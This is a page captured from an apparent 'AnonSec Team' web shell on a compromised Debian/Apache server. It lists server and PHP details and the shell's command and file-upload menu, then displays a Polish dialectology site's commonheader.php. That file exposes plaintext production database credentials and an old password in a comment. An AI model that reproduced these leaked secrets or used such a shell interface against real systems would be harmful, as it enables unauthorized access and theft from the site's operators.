AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/leksykografia/../dialektologia/web/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/leksykografia/../dialektologia/web/commonheader.php
<?php
//session_start();
//header('Content-type: text/html; charset=utf-8');

if(SERVERTYPE=='devel') define('MYSQLLIB', 'mysqli'); 
if(SERVERTYPE=='production') define('MYSQLLIB', 'mysqli'); 
 
//define('SERVERTYPE', 'devel'); - is in included file


if(!isset($_SESSION['indexfile'])) $_SESSION['indexfile']="index.php";
//ini_set('magic_quotes_gpc', 0);

$dbhost='localhost'; //old server: db1
$dbuser='dialektologia';
$dbpass='34diel!#13AMP'; //old server: Despyith

if(SERVERTYPE=='devel')
{
    $dbhost='localhost';
    $dbuser='root';
    $dbpass='';
}

global $conn;
if(MYSQLLIB=='mysql') $conn=mysql_connect($dbhost,$dbuser,$dbpass);
if(MYSQLLIB=='mysqli') 
{
    $conn=mysqli_connect($dbhost,$dbuser,$dbpass);
    mysqli_set_charset($conn,'utf8');
}


require('classes/userclass.php');
require('classes/maincontentclass.php');
require('classes/rightmenuclass.php');

//$_SESSION['id']='1';
//$_SESSION['name']='debug';

//mysql_query("SET NAMES 'cp1250'");
if(MYSQLLIB=='mysql') mysql_select_db('dialektologia');
if(MYSQLLIB=='mysqli') mysqli_select_db($conn,'dialektologia');


$set = @mysql_query ('SET NAMES UTF8');
$set = @mysql_query ('SET COLLATION_CONNECTION=UTF8_GENERAL_CI');
//include("konfGlobal.php");
//include("commonFunctions.php");
$title="DIALEKTOLOGIA POLSKA";

//obsługa przełącznika podgląd/edycja - cedt
if(isset ($_GET['cedt'])) $_SESSION['cedt']=$_GET['cedt'];
if(!isset ($_SESSION['cedt'])) $_SESSION['cedt']="0";
//koniec

//fckeditor
if ( !function_exists('version_compare') || version_compare( phpversion(), '5', '<' ) )
	include_once( 'fckeditor_php4.php' ) ;
else
	include_once( 'fckeditor_php5.php' ) ;

//disable magic quotes
if (get_magic_quotes_gpc()) {
    $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
    while (list($key, $val) = each($process)) {
        foreach ($val as $k => $v) {
            unset($process[$key][$k]);
            if (is_array($v)) {
                $process[$key][stripslashes($k)] = $v;
                $process[] = &$process[$key][stripslashes($k)];
            } else {
                $process[$key][stripslashes($k)] = stripslashes($v);
            }
        }
    }
    unset($process);
}
	
//koniec
?>

AnonSec - 2021